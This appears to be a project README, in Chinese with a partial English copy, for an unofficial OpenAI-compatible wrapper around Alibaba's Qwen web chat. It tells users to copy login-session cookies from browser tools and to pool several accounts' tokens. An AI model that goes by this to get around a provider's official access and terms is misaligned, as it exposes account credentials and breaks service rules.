.
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Qwen AI Free 服务
2 |
3 |
4 |
5 | [ 中文 | English ]
6 |
7 | [](LICENSE)
8 | 
9 | 
10 | 
11 |
12 | 支持高速流式输出、支持多轮对话、支持无水印AI绘图、支持长文档解读、图像解析、联网检索,零配置部署,多路token支持,自动清理会话痕迹。
13 |
14 | 与ChatGPT接口完全兼容。
15 |
16 | 还有以下十个free-api欢迎关注:
17 |
18 | Moonshot AI(Kimi.ai)接口转API [kimi-free-api](https://github.com/LLM-Red-Team/kimi-free-api)
19 |
20 | 阶跃星辰 (跃问StepChat) 接口转API [step-free-api](https://github.com/LLM-Red-Team/step-free-api)
21 |
22 | 智谱AI (智谱清言) 接口转API [glm-free-api](https://github.com/LLM-Red-Team/glm-free-api)
23 |
24 | 秘塔AI (Metaso) 接口转API [metaso-free-api](https://github.com/LLM-Red-Team/metaso-free-api)
25 |
26 | 字节跳动(豆包)接口转API [doubao-free-api](https://github.com/LLM-Red-Team/doubao-free-api)
27 |
28 | 字节跳动(即梦AI)接口转API [jimeng-free-api](https://github.com/LLM-Red-Team/jimeng-free-api)
29 |
30 | 讯飞星火(Spark)接口转API [spark-free-api](https://github.com/LLM-Red-Team/spark-free-api)
31 |
32 | MiniMax(海螺AI)接口转API [hailuo-free-api](https://github.com/LLM-Red-Team/hailuo-free-api)
33 |
34 | 深度求索(DeepSeek)接口转API [deepseek-free-api](https://github.com/LLM-Red-Team/deepseek-free-api)
35 |
36 | 聆心智能 (Emohaa) 接口转API [emohaa-free-api](https://github.com/LLM-Red-Team/emohaa-free-api)
37 |
38 | ## 目录
39 |
40 | - [Qwen AI Free 服务](#qwen-ai-free-服务)
41 | - [目录](#目录)
42 | - [免责声明](#免责声明)
43 | - [效果示例](#效果示例)
44 | - [验明正身Demo](#验明正身demo)
45 | - [多轮对话Demo](#多轮对话demo)
46 | - [AI绘图Demo](#ai绘图demo)
47 | - [长文档解读Demo](#长文档解读demo)
48 | - [图像解析Demo](#图像解析demo)
49 | - [10线程并发测试](#10线程并发测试)
50 | - [接入准备](#接入准备)
51 | - [方法1](#方法1)
52 | - [方法2](#方法2)
53 | - [多账号接入](#多账号接入)
54 | - [Docker部署](#docker部署)
55 | - [Docker-compose部署](#docker-compose部署)
56 | - [Render部署](#render部署)
57 | - [Vercel部署](#vercel部署)
58 | - [原生部署](#原生部署)
59 | - [推荐使用客户端](#推荐使用客户端)
60 | - [接口列表](#接口列表)
61 | - [对话补全](#对话补全)
62 | - [AI绘图](#ai绘图)
63 | - [文档解读](#文档解读)
64 | - [图像解析](#图像解析)
65 | - [ticket存活检测](#ticket存活检测)
66 | - [注意事项](#注意事项)
67 | - [Nginx反代优化](#nginx反代优化)
68 | - [Token统计](#token统计)
69 | - [Star History](#star-history)
70 |
71 | ## 免责声明
72 |
73 | **逆向API是不稳定的,建议前往阿里云官方 https://dashscope.console.aliyun.com/ 付费使用API,避免封禁的风险。**
74 |
75 | **本组织和个人不接受任何资金捐助和交易,此项目是纯粹研究交流学习性质!**
76 |
77 | **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
78 |
79 | **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
80 |
81 | **仅限自用,禁止对外提供服务或商用,避免对官方造成服务压力,否则风险自担!**
82 |
83 | ## 效果示例
84 |
85 | ### 验明正身Demo
86 |
87 | 
88 |
89 | ### 多轮对话Demo
90 |
91 | 
92 |
93 | ### AI绘图Demo
94 |
95 | 
96 |
97 | ### 长文档解读Demo
98 |
99 | 
100 |
101 | ### 图像解析Demo
102 |
103 | 
104 |
105 | ### 10线程并发测试
106 |
107 | 
108 |
109 | ## 接入准备
110 |
111 | ### 方法1
112 |
113 | 从 [通义千问](https://tongyi.aliyun.com/qianwen) 登录
114 |
115 | 进入通义千问随便发起一个对话,然后F12打开开发者工具,从Application > Cookies中找到`tongyi_sso_ticket`的值,这将作为Authorization的Bearer Token值:`Authorization: Bearer TOKEN`
116 |
117 | 
118 |
119 | ### 方法2
120 |
121 | 从 [阿里云](https://www.aliyun.com/) 登录(如果该账号有服务器等重要资产不建议使用),如果该账号之前未进入过[通义千问](https://tongyi.aliyun.com/qianwen) ,需要先进入同意协议,否则无法生效。
122 |
123 | 然后F12打开开发者工具,从Application > Cookies中找到`login_aliyunid_ticket`的值,这将作为Authorization的Bearer Token值:`Authorization: Bearer TOKEN`
124 |
125 | 
126 |
127 | ### 多账号接入
128 |
129 | 你可以通过提供多个账号的`tongyi_sso_ticket`或`login_aliyunid_ticket`,并使用,拼接提供:
130 |
131 | `Authorization: Bearer TOKEN1,TOKEN2,TOKEN3`
132 |
133 | 每次请求服务会从中挑选一个。
134 |
135 | ## Docker部署
136 |
137 | 请准备一台具有公网IP的服务器并将8000端口开放。
138 |
139 | 拉取镜像并启动服务
140 |
141 | ```shell
142 | docker run -it -d --init --name qwen-free-api -p 8000:8000 -e TZ=Asia/Shanghai vinlic/qwen-free-api:latest
143 | ```
144 |
145 | 查看服务实时日志
146 |
147 | ```shell
148 | docker logs -f qwen-free-api
149 | ```
150 |
151 | 重启服务
152 |
153 | ```shell
154 | docker restart qwen-free-api
155 | ```
156 |
157 | 停止服务
158 |
159 | ```shell
160 | docker stop qwen-free-api
161 | ```
162 |
163 | ### Docker-compose部署
164 |
165 | ```yaml
166 | version: '3'
167 |
168 | services:
169 | qwen-free-api:
170 | container_name: qwen-free-api
171 | image: vinlic/qwen-free-api:latest
172 | restart: always
173 | ports:
174 | - "8000:8000"
175 | environment:
176 | - TZ=Asia/Shanghai
177 | ```
178 |
179 | ### Render部署
180 |
181 | **注意:部分部署区域可能无法连接qwen,如容器日志出现请求超时或无法连接,请切换其他区域部署!**
182 | **注意:免费账户的容器实例将在一段时间不活动时自动停止运行,这会导致下次请求时遇到50秒或更长的延迟,建议查看[Render容器保活](https://github.com/LLM-Red-Team/free-api-hub/#Render%E5%AE%B9%E5%99%A8%E4%BF%9D%E6%B4%BB)**
183 |
184 | 1. fork本项目到你的github账号下。
185 |
186 | 2. 访问 [Render](https://dashboard.render.com/) 并登录你的github账号。
187 |
188 | 3. 构建你的 Web Service(New+ -> Build and deploy from a Git repository -> Connect你fork的项目 -> 选择部署区域 -> 选择实例类型为Free -> Create Web Service)。
189 |
190 | 4. 等待构建完成后,复制分配的域名并拼接URL访问即可。
191 |
192 | ### Vercel部署
193 |
194 | **注意:Vercel免费账户的请求响应超时时间为10秒,但接口响应通常较久,可能会遇到Vercel返回的504超时错误!**
195 |
196 | 请先确保安装了Node.js环境。
197 |
198 | ```shell
199 | npm i -g vercel --registry http://registry.npmmirror.com
200 | vercel login
201 | git clone https://github.com/LLM-Red-Team/qwen-free-api
202 | cd qwen-free-api
203 | vercel --prod
204 | ```
205 |
206 | ## 原生部署
207 |
208 | 请准备一台具有公网IP的服务器并将8000端口开放。
209 |
210 | 请先安装好Node.js环境并且配置好环境变量,确认node命令可用。
211 |
212 | 安装依赖
213 |
214 | ```shell
215 | npm i
216 | ```
217 |
218 | 安装PM2进行进程守护
219 |
220 | ```shell
221 | npm i -g pm2
222 | ```
223 |
224 | 编译构建,看到dist目录就是构建完成
225 |
226 | ```shell
227 | npm run build
228 | ```
229 |
230 | 启动服务
231 |
232 | ```shell
233 | pm2 start dist/index.js --name "qwen-free-api"
234 | ```
235 |
236 | 查看服务实时日志
237 |
238 | ```shell
239 | pm2 logs qwen-free-api
240 | ```
241 |
242 | 重启服务
243 |
244 | ```shell
245 | pm2 reload qwen-free-api
246 | ```
247 |
248 | 停止服务
249 |
250 | ```shell
251 | pm2 stop qwen-free-api
252 | ```
253 |
254 | ## 推荐使用客户端
255 |
256 | 使用以下二次开发客户端接入free-api系列项目更快更简单,支持文档/图像上传!
257 |
258 | 由 [Clivia](https://github.com/Yanyutin753/lobe-chat) 二次开发的LobeChat [https://github.com/Yanyutin753/lobe-chat](https://github.com/Yanyutin753/lobe-chat)
259 |
260 | 由 [时光@](https://github.com/SuYxh) 二次开发的ChatGPT Web [https://github.com/SuYxh/chatgpt-web-sea](https://github.com/SuYxh/chatgpt-web-sea)
261 |
262 | ## 接口列表
263 |
264 | 目前支持与openai兼容的 `/v1/chat/completions` 接口,可自行使用与openai或其他兼容的客户端接入接口,或者使用 [dify](https://dify.ai/) 等线上服务接入使用。
265 |
266 | ### 对话补全
267 |
268 | 对话补全接口,与openai的 [chat-completions-api](https://platform.openai.com/docs/guides/text-generation/chat-completions-api) 兼容。
269 |
270 | **POST /v1/chat/completions**
271 |
272 | header 需要设置 Authorization 头部:
273 |
274 | ```
275 | Authorization: Bearer [tongyi_sso_ticket/login_aliyunid_ticket]
276 | ```
277 |
278 | 请求数据:
279 | ```json
280 | {
281 | // 模型名称随意填写
282 | "model": "qwen",
283 | // 目前多轮对话基于消息合并实现,某些场景可能导致能力下降且受单轮最大token数限制
284 | // 如果您想获得原生的多轮对话体验,可以传入上一轮消息获得的id,来接续上下文
285 | // "conversation_id": "bc9ef150d0e44794ab624df958292300-40811965812e4782bb87f1a9e4e2b2cd",
286 | "messages": [
287 | {
288 | "role": "user",
289 | "content": "你是谁?"
290 | }
291 | ],
292 | // 如果使用SSE流请设置为true,默认false
293 | "stream": false
294 | }
295 | ```
296 |
297 | 响应数据:
298 | ```json
299 | {
300 | // 如果想获得原生多轮对话体验,此id,你可以传入到下一轮对话的conversation_id来接续上下文
301 | "id": "bc9ef150d0e44794ab624df958292300-40811965812e4782bb87f1a9e4e2b2cd",
302 | "model": "qwen",
303 | "object": "chat.completion",
304 | "choices": [
305 | {
306 | "index": 0,
307 | "message": {
308 | "role": "assistant",
309 | "content": "我是阿里云研发的超大规模语言模型,我叫通义千问。"
310 | },
311 | "finish_reason": "stop"
312 | }
313 | ],
314 | "usage": {
315 | "prompt_tokens": 1,
316 | "completion_tokens": 1,
317 | "total_tokens": 2
318 | },
319 | "created": 1710152062
320 | }
321 | ```
322 |
323 | ### AI绘图
324 |
325 | 对话补全接口,与openai的 [images-create-api](https://platform.openai.com/docs/api-reference/images/create) 兼容。
326 |
327 | **POST /v1/images/generations**
328 |
329 | header 需要设置 Authorization 头部:
330 |
331 | ```
332 | Authorization: Bearer [tongyi_sso_ticket/login_aliyunid_ticket]
333 | ```
334 |
335 | 请求数据:
336 | ```json
337 | {
338 | // 可以乱填
339 | "model": "wanxiang",
340 | "prompt": "一只可爱的猫"
341 | }
342 | ```
343 |
344 | 响应数据:
345 | ```json
346 | {
347 | "created": 1711507734,
348 | "data": [
349 | {
350 | "url": "https://wanx.alicdn.com/wanx/1111111111/text_to_image/7248e85cfda6491aae59c54e7e679b17_0.png"
351 | }
352 | ]
353 | }
354 | ```
355 |
356 | ### 文档解读
357 |
358 | 提供一个可访问的文件URL或者BASE64_URL进行解析。
359 |
360 | **POST /v1/chat/completions**
361 |
362 | header 需要设置 Authorization 头部:
363 |
364 | ```
365 | Authorization: Bearer [refresh_token]
366 | ```
367 |
368 | 请求数据:
369 | ```json
370 | {
371 | "model": "qwen",
372 | "messages": [
373 | {
374 | "role": "user",
375 | "content": [
376 | {
377 | "type": "file",
378 | "file_url": {
379 | "url": "https://mj101-1317487292.cos.ap-shanghai.myqcloud.com/ai/test.pdf"
380 | }
381 | },
382 | {
383 | "type": "text",
384 | "text": "文档里说了什么?"
385 | }
386 | ]
387 | }
388 | ]
389 | }
390 | ```
391 |
392 | 响应数据:
393 | ```json
394 | {
395 | "id": "b56ea6c9e86140429fa2de6a6ec028ff",
396 | "model": "qwen",
397 | "object": "chat.completion",
398 | "choices": [
399 | {
400 | "index": 0,
401 | "message": {
402 | "role": "assistant",
403 | "content": "文档中包含了四个古代魔法仪式或咒语的描述,它们似乎旨在影响或控制一个特定女性的情感和行为,使其对施术者产生强烈的爱意。以下是每个仪式的具体内容:\n\n1. **仪式一**(PMG 4.1390 – 1495):\n - 施术者需留下一些面包,将其掰成七小块。\n - 前往一处英雄、角斗士或其他暴力死亡者丧生的地方。\n - 对着面包碎片念诵咒语后丢弃,并从该地取一些受污染的泥土扔进目标女性的住所。\n - 咒语内容包括向命运三女神(Moirai)、罗马版的命运女神(Fates)、自然力量(Daemons)、饥荒与嫉妒之神以及非正常死亡者献祭食物,并请求他们以痛苦折磨目标,使她在梦中惊醒,心生忧虑与恐惧,最终跟随施术者的步伐并顺从其意愿。此过程以赫卡忒(Hecate)女神为命令的源泉。\n\n2. **仪式二**(PMG 4.1342 – 57):\n - 施术者召唤恶魔(Daemon),通过一系列神秘的神祇名号(如Erekisephthe Araracharara Ephthesikere)要求其将名为Tereous的女子(Apia所生)带至施术者Didymos(Taipiam所生)身边。\n - 请求该女子在灵魂、心智及女性器官上遭受剧烈痛苦,直至她主动找寻Didymos并与之紧密相连(唇对唇、发对发、腹部对腹部)。整个过程要求立即执行。\n\n3. **仪式三**(PGM 4.1265 – 74):\n - 揭示了阿佛洛狄忒(Aphrodite)鲜为人知的名字——NEPHERIĒRI[nfr-iry-t]。\n - 如果想赢得一位美丽女子的芳心,施术者应保持三天纯净,献上乳香,并在心中默念该名字七次。\n - 这样的做法需持续七天,据说这样便能成功吸引女子。\n\n4. **仪式四**(PGM 4.1496 – 1):\n - 施术者在燃烧的煤炭上供奉没药(myrrh),同时念诵咒语。\n - 咒语将没药称为“苦涩的调和者”、“热力的激发者”,并命令它前往指定的女子(及其母亲的名字)处,阻止她进行日常活动(如坐、饮、食、注视他人、亲吻他人),迫使她心中只有施术者,对其产生强烈的欲望与爱意。\n - 咒语还指示没药直接穿透女子的灵魂,驻留在其心中,焚烧其内脏、胸部、肝脏、气息、骨骼、骨髓,直到她来到施术者身边。\n\n这些仪式反映了古代魔法实践中试图借助超自然力量操控他人情感与行为的企图,涉及对神灵、恶魔、神秘名字及特定物质(如面包、泥土、乳香、没药)的运用,通常伴随着严格的仪式规程和咒语念诵。此类行为在现代伦理和法律框架下被视为不恰当甚至违法,且缺乏科学依据。"
404 | },
405 | "finish_reason": "stop"
406 | }
407 | ],
408 | "usage": {
409 | "prompt_tokens": 1,
410 | "completion_tokens": 1,
411 | "total_tokens": 2
412 | },
413 | "created": 1712253736
414 | }
415 | ```
416 |
417 | ### 图像解析
418 |
419 | 提供一个可访问的图像URL或者BASE64_URL进行解析。
420 |
421 | 此格式兼容 [gpt-4-vision-preview](https://platform.openai.com/docs/guides/vision) API格式,您也可以用这个格式传送文档进行解析。
422 |
423 | **POST /v1/chat/completions**
424 |
425 | header 需要设置 Authorization 头部:
426 |
427 | ```
428 | Authorization: Bearer [refresh_token]
429 | ```
430 |
431 | 请求数据:
432 | ```json
433 | {
434 | "model": "qwen",
435 | "messages": [
436 | {
437 | "role": "user",
438 | "content": [
439 | {
440 | "type": "file",
441 | "file_url": {
442 | "url": "https://img.alicdn.com/imgextra/i1/O1CN01CC9kic1ig1r4sAY5d_!!6000000004441-2-tps-880-210.png"
443 | }
444 | },
445 | {
446 | "type": "text",
447 | "text": "图像描述了什么?"
448 | }
449 | ]
450 | }
451 | ]
452 | }
453 | ```
454 |
455 | 响应数据:
456 | ```json
457 | {
458 | "id": "895fbe7fa22442d499ba67bb5213e842",
459 | "model": "qwen",
460 | "object": "chat.completion",
461 | "choices": [
462 | {
463 | "index": 0,
464 | "message": {
465 | "role": "assistant",
466 | "content": "图像展示了通义千问的标志,一个紫色的六边形和一个蓝色的三角形,以及“通义千问”四个白色的汉字。"
467 | },
468 | "finish_reason": "stop"
469 | }
470 | ],
471 | "usage": {
472 | "prompt_tokens": 1,
473 | "completion_tokens": 1,
474 | "total_tokens": 2
475 | },
476 | "created": 1712254066
477 | }
478 | ```
479 |
480 | ### ticket存活检测
481 |
482 | 检测tongyi_sso_ticket或login_aliyunid_ticket是否存活,如果存活live未true,否则为false,请不要频繁(小于10分钟)调用此接口。
483 |
484 | **POST /token/check**
485 |
486 | 请求数据:
487 | ```json
488 | {
489 | "token": "QIhaHrrXUaIrWMUmL..."
490 | }
491 | ```
492 |
493 | 响应数据:
494 | ```json
495 | {
496 | "live": true
497 | }
498 | ```
499 |
500 | ## 注意事项
501 |
502 | ### Nginx反代优化
503 |
504 | 如果您正在使用Nginx反向代理qwen-free-api,请添加以下配置项优化流的输出效果,优化体验感。
505 |
506 | ```nginx
507 | # 关闭代理缓冲。当设置为off时,Nginx会立即将客户端请求发送到后端服务器,并立即将从后端服务器接收到的响应发送回客户端。
508 | proxy_buffering off;
509 | # 启用分块传输编码。分块传输编码允许服务器为动态生成的内容分块发送数据,而不需要预先知道内容的大小。
510 | chunked_transfer_encoding on;
511 | # 开启TCP_NOPUSH,这告诉Nginx在数据包发送到客户端之前,尽可能地发送数据。这通常在sendfile使用时配合使用,可以提高网络效率。
512 | tcp_nopush on;
513 | # 开启TCP_NODELAY,这告诉Nginx不延迟发送数据,立即发送小数据包。在某些情况下,这可以减少网络的延迟。
514 | tcp_nodelay on;
515 | # 设置保持连接的超时时间,这里设置为120秒。如果在这段时间内,客户端和服务器之间没有进一步的通信,连接将被关闭。
516 | keepalive_timeout 120;
517 | ```
518 |
519 | ### Token统计
520 |
521 | 由于推理侧不在qwen-free-api,因此token不可统计,将以固定数字返回。
522 |
523 | ## Star History
524 |
525 | [](https://star-history.com/#LLM-Red-Team/qwen-free-api&Date)
526 |
--------------------------------------------------------------------------------
/README_EN.md:
--------------------------------------------------------------------------------
1 | # Qwen AI Free Service
2 |
3 | [](LICENSE)
4 | 
5 | 
6 | 
7 |
8 | Supports high-speed streaming output, multi-turn dialogues, internet search, long document reading, image analysis, zero-configuration deployment, multi-token support, and automatic session trace cleanup.
9 |
10 | Fully compatible with the ChatGPT interface.
11 |
12 | Also, the following free APIs are available for your attention:
13 |
14 | Moonshot AI (Kimi.ai) API to API [kimi-free-api](https://github.com/LLM-Red-Team/kimi-free-api/tree/master)
15 |
16 | StepFun (StepChat) API to API [step-free-api](https://github.com/LLM-Red-Team/step-free-api)
17 |
18 | ZhipuAI (ChatGLM) API to API [glm-free-api](https://github.com/LLM-Red-Team/glm-free-api)
19 |
20 | Meta Sota (metaso) API to API [metaso-free-api](https://github.com/LLM-Red-Team/metaso-free-api)
21 |
22 | Iflytek Spark (Spark) API to API [spark-free-api](https://github.com/LLM-Red-Team/spark-free-api)
23 |
24 | Lingxin Intelligence (Emohaa) API to API [emohaa-free-api](https://github.com/LLM-Red-Team/emohaa-free-api) (OUT OF ORDER)
25 |
26 | ## 目录
27 |
28 | * [Announcement](#Announcement)
29 | * [Online experience](#Online-Experience)
30 | * [Effect Examples](#Effect-Examples)
31 | * [Access preparation](#Access-Preparation)
32 | * [Multiple account access](#Multi-Account-Access)
33 | * [Docker Deployment](#Docker-Deployment)
34 | * [Docker-compose Deployment](#Docker-compose-Deployment)
35 | * [Render Deployment](#Render-Deployment)
36 | * [Vercel Deployment](#Vercel-Deployment)
37 | * [Native Deployment](#Native-Deployment)
38 | * [Recommended Clients](#Recommended-Clients)
39 | * [Interface List](#Interface-List)
40 | * [Conversation completion](#conversation-completion)
41 | * [AI Drawing](#AI-Drawing)
42 | * [Document Interpretation](#document-interpretation)
43 | * [Image analysis](#image-analysis)
44 | * [refresh_token survival detection](#refresh_token-survival-detection)
45 | * [Notification](#Notification)
46 | * [Nginx anti-generation optimization](#Nginx-anti-generation-optimization)
47 | * [Token statistics](#Token-statistics)
48 | * [Star History](#star-history)
49 |
50 | ## Announcement
51 |
52 | **This API is unstable. So we highly recommend you go to the [Ali](https://dashscope.console.aliyun.com/) use the offical API, avoiding banned.**
53 |
54 | **This organization and individuals do not accept any financial donations and transactions. This project is purely for research, communication, and learning purposes!**
55 |
56 | **For personal use only, it is forbidden to provide services or commercial use externally to avoid causing service pressure on the official, otherwise, bear the risk yourself!**
57 |
58 | **For personal use only, it is forbidden to provide services or commercial use externally to avoid causing service pressure on the official, otherwise, bear the risk yourself!**
59 |
60 | **For personal use only, it is forbidden to provide services or commercial use externally to avoid causing service pressure on the official, otherwise, bear the risk yourself!**
61 |
62 | ## Online experience
63 |
64 | This link is only for temporary testing of functions and cannot be used for a long time. For long-term use, please deploy by yourself.
65 |
66 | https://udify.app/chat/qOXzVl5kkvhQXM8r
67 |
68 | ## Effect Examples
69 |
70 | ### Identity Verification
71 |
72 | 
73 |
74 | ### Multi-turn Dialogue
75 |
76 | 
77 |
78 | ### AI Drawing
79 |
80 | 
81 |
82 | ### Long Document Reading
83 |
84 | 
85 |
86 | ### Image Analysis
87 |
88 | 
89 |
90 | ### 10-Thread Concurrency Test
91 |
92 | 
93 |
94 | ## Access Preparation
95 |
96 | ### Method1
97 |
98 | Log in to [Tongyi Qianwen](https://tongyi.aliyun.com/qianwen)
99 |
100 | Enter Tongyi Qianwen and start a random conversation, then press F12 to open the developer tools. Find the value of `tongyi_sso_ticket` in Application > Cookies, which will be used as the Bearer Token value for Authorization: `Authorization: Bearer TOKEN`
101 |
102 | 
103 |
104 | ### Method2
105 |
106 | Log in to [Alibaba Cloud](https://www.aliyun.com/) (not recommended if the account has important assets such as servers). If the account has not previously entered [Tongyi Qianwen](https://tongyi.aliyun.com/qianwen), you need to first agree to the terms, otherwise it will not take effect.
107 |
108 | Then press F12 to open the developer tools. Find the value of `login_aliyunid_ticket` in Application > Cookies, which will be used as the Bearer Token value for Authorization: `Authorization: Bearer TOKEN`
109 | 
110 |
111 | ### Multi-Account Access
112 |
113 | You can provide multiple account `tongyi_sso_ticket` or `login_aliyunid_ticket` and use `,` to join them:
114 |
115 | `Authorization: Bearer TOKEN1,TOKEN2,TOKEN3`
116 |
117 | The service will pick one each time a request is made.
118 |
119 | ## Docker Deployment
120 |
121 | Please prepare a server with a public IP and open port 8000.
122 |
123 | Pull the image and start the service
124 |
125 | ```shell
126 | docker run -it -d --init --name qwen-free-api -p 8000:8000 -e TZ=Asia/Shanghai vinlic/qwen-free-api:latest
127 | ```
128 |
129 | check real-time service logs
130 |
131 | ```shell
132 | docker logs -f step-free-api
133 | ```
134 |
135 | Restart service
136 |
137 | ```shell
138 | docker restart step-free-api
139 | ```
140 |
141 | Shut down service
142 |
143 | ```shell
144 | docker stop step-free-api
145 | ```
146 |
147 | ### Docker-compose Deployment
148 |
149 | ```yaml
150 | version: '3'
151 |
152 | services:
153 | qwen-free-api:
154 | container_name: qwen-free-api
155 | image: vinlic/qwen-free-api:latest
156 | restart: always
157 | ports:
158 | - "8000:8000"
159 | environment:
160 | - TZ=Asia/Shanghai
161 | ```
162 |
163 | ### Render Deployment
164 |
165 | **Attention: Some deployment regions may not be able to connect to Kimi. If container logs show request timeouts or connection failures (Singapore has been tested and found unavailable), please switch to another deployment region!**
166 |
167 | **Attention: Container instances for free accounts will automatically stop after a period of inactivity, which may result in a 50-second or longer delay during the next request. It is recommended to check [Render Container Keepalive](https://github.com/LLM-Red-Team/free-api-hub/#Render%E5%AE%B9%E5%99%A8%E4%BF%9D%E6%B4%BB)**
168 |
169 | 1. Fork this project to your GitHub account.
170 |
171 | 2. Visit [Render](https://dashboard.render.com/) and log in with your GitHub account.
172 |
173 | 3. Build your Web Service (`New+` -> `Build and deploy from a Git repository` -> `Connect your forked project` -> `Select deployment region` -> `Choose instance type as Free` -> `Create Web Service`).
174 |
175 | 4. After the build is complete, copy the assigned domain and append the URL to access it.
176 |
177 | ### Vercel Deployment
178 |
179 | **Note: Vercel free accounts have a request response timeout of 10 seconds, but interface responses are usually longer, which may result in a 504 timeout error from Vercel!**
180 |
181 | Please ensure that Node.js environment is installed first.
182 |
183 | ```shell
184 | npm i -g vercel --registry http://registry.npmmirror.com
185 | vercel login
186 | git clone https://github.com/LLM-Red-Team/qwen-free-api
187 | cd qwen-free-api
188 | vercel --prod
189 | ```
190 |
191 | ## Native Deployment
192 |
193 | Please prepare a server with a public IP and open port 8000.
194 |
195 | Please install the Node.js environment and configure the environment variables first, and confirm that the node command is available.
196 |
197 | Install dependencies
198 |
199 | ```shell
200 | npm i
201 | ```
202 |
203 | Install PM2 for process guarding
204 |
205 | ```shell
206 | npm i -g pm2
207 | ```
208 |
209 | Compile and build. When you see the dist directory, the build is complete.
210 |
211 | ```shell
212 | npm run build
213 | ```
214 |
215 | Start service
216 |
217 | ```shell
218 | pm2 start dist/index.js --name "qwen-free-api"
219 | ```
220 |
221 | View real-time service logs
222 |
223 | ```shell
224 | pm2 logs qwen-free-api
225 | ```
226 |
227 | Restart service
228 |
229 | ```shell
230 | pm2 reload qwen-free-api
231 | ```
232 |
233 | Shut down service
234 |
235 | ```shell
236 | pm2 stop qwen-free-api
237 | ```
238 |
239 | ## Recommended Clients
240 |
241 | Using the following second-developed clients for free-api series projects is faster and easier, and supports document/image uploads!
242 |
243 | [Clivia](https://github.com/Yanyutin753/lobe-chat)'s modified LobeChat [https://github.com/Yanyutin753/lobe-chat](https://github.com/Yanyutin753/lobe-chat)
244 |
245 | [Time@](https://github.com/SuYxh)'s modified ChatGPT Web [https://github.com/SuYxh/chatgpt-web-sea](https://github.com/SuYxh/chatgpt-web-sea)
246 |
247 | ## interface list
248 |
249 | Currently, the `/v1/chat/completions` interface compatible with openai is supported. You can use the client access interface compatible with openai or other clients, or use online services such as [dify](https://dify.ai/) Access and use.
250 |
251 | ### Conversation completion
252 |
253 | Conversation completion interface, compatible with openai's [chat-completions-api](https://platform.openai.com/docs/guides/text-generation/chat-completions-api).
254 |
255 | **POST /v1/chat/completions**
256 |
257 | The header needs to set the Authorization header:
258 |
259 | ```
260 | Authorization: Bearer [tongyi_sso_ticket/login_aliyunid_ticket]
261 | ```
262 |
263 | Request data:
264 | ```json
265 | {
266 | // Fill in the model name as you like.
267 | "model": "qwen",
268 | // Currently, multi-round conversations are realized based on message merging, which in some scenarios may lead to capacity degradation and is limited by the maximum number of tokens in a single round.
269 | // If you want a native multi-round dialog experience, you can pass in the ids obtained from the last round of messages to pick up the context
270 | // "conversation_id": "bc9ef150d0e44794ab624df958292300-40811965812e4782bb87f1a9e4e2b2cd",
271 | "messages": [
272 | {
273 | "role": "user",
274 | "content": "who RU?"
275 | }
276 | ],
277 | // If using SSE stream, please set it to true, the default is false
278 | "stream": false
279 | }
280 | ```
281 |
282 | Response data:
283 | ```json
284 | {
285 | // For a native multi-round conversation experience, this id, you can pass in the conversation_id for the next round of conversation to pick up the context
286 | "id": "bc9ef150d0e44794ab624df958292300-40811965812e4782bb87f1a9e4e2b2cd",
287 | "model": "qwen",
288 | "object": "chat.completion",
289 | "choices": [
290 | {
291 | "index": 0,
292 | "message": {
293 | "role": "assistant",
294 | "content": "I'm Qwen."
295 | },
296 | "finish_reason": "stop"
297 | }
298 | ],
299 | "usage": {
300 | "prompt_tokens": 1,
301 | "completion_tokens": 1,
302 | "total_tokens": 2
303 | },
304 | "created": 1710152062
305 | }
306 | ```
307 |
308 | ### AI Drawing
309 |
310 | Conversation completion interface, compatible with openai's [chat-completions-api](https://platform.openai.com/docs/guides/text-generation/chat-completions-api).
311 |
312 | **POST /v1/chat/completions**
313 |
314 | The header needs to set the Authorization header:
315 |
316 | ```
317 | Authorization: Bearer [tongyi_sso_ticket/login_aliyunid_ticket]
318 | ```
319 |
320 | Request data:
321 | ```json
322 | {
323 | // 可以乱填
324 | "model": "wanxiang",
325 | "prompt": "A cut cat"
326 | }
327 | ```
328 |
329 | Response data:
330 | ```json
331 | {
332 | "created": 1711507734,
333 | "data": [
334 | {
335 | "url": "https://wanx.alicdn.com/wanx/1111111111/text_to_image/7248e85cfda6491aae59c54e7e679b17_0.png"
336 | }
337 | ]
338 | }
339 | ```
340 |
341 | ### Document interpretation
342 |
343 | Provide an accessible file URL or BASE64_URL to parse.
344 |
345 | **POST /v1/chat/completions**
346 |
347 | The header needs to set the Authorization header:
348 |
349 | ```
350 | Authorization: Bearer [refresh_token]
351 | ```
352 |
353 | Request data:
354 | ```json
355 | {
356 | "model": "qwen",
357 | "messages": [
358 | {
359 | "role": "user",
360 | "content": [
361 | {
362 | "type": "file",
363 | "file_url": {
364 | "url": "https://mj101-1317487292.cos.ap-shanghai.myqcloud.com/ai/test.pdf"
365 | }
366 | },
367 | {
368 | "type": "text",
369 | "text": "What does the document say?"
370 | }
371 | ]
372 | }
373 | ]
374 | }
375 | ```
376 |
377 | Response data:
378 | ```json
379 | {
380 | "id": "b56ea6c9e86140429fa2de6a6ec028ff",
381 | "model": "qwen",
382 | "object": "chat.completion",
383 | "choices": [
384 | {
385 | "index": 0,
386 | "message": {
387 | "role": "assistant",
388 | "content": "This is a doc about the magic of love. balabala..."
389 | },
390 | "finish_reason": "stop"
391 | }
392 | ],
393 | "usage": {
394 | "prompt_tokens": 1,
395 | "completion_tokens": 1,
396 | "total_tokens": 2
397 | },
398 | "created": 1712253736
399 | }
400 | ```
401 |
402 | ### Image analysis
403 |
404 | Provide an accessible image URL or BASE64_URL to parse.
405 |
406 | This format is compatible with the [gpt-4-vision-preview](https://platform.openai.com/docs/guides/vision) API format. You can also use this format to transmit documents for parsing.
407 |
408 | **POST /v1/chat/completions**
409 |
410 | The header needs to set the Authorization header:
411 |
412 | ```
413 | Authorization: Bearer [refresh_token]
414 | ```
415 |
416 | 请求数据:
417 | ```json
418 | {
419 | "model": "qwen",
420 | "messages": [
421 | {
422 | "role": "user",
423 | "content": [
424 | {
425 | "type": "file",
426 | "file_url": {
427 | "url": "https://img.alicdn.com/imgextra/i1/O1CN01CC9kic1ig1r4sAY5d_!!6000000004441-2-tps-880-210.png"
428 | }
429 | },
430 | {
431 | "type": "text",
432 | "text": "What does the image describe?"
433 | }
434 | ]
435 | }
436 | ]
437 | }
438 | ```
439 |
440 | Response data:
441 | ```json
442 | {
443 | "id": "895fbe7fa22442d499ba67bb5213e842",
444 | "model": "qwen",
445 | "object": "chat.completion",
446 | "choices": [
447 | {
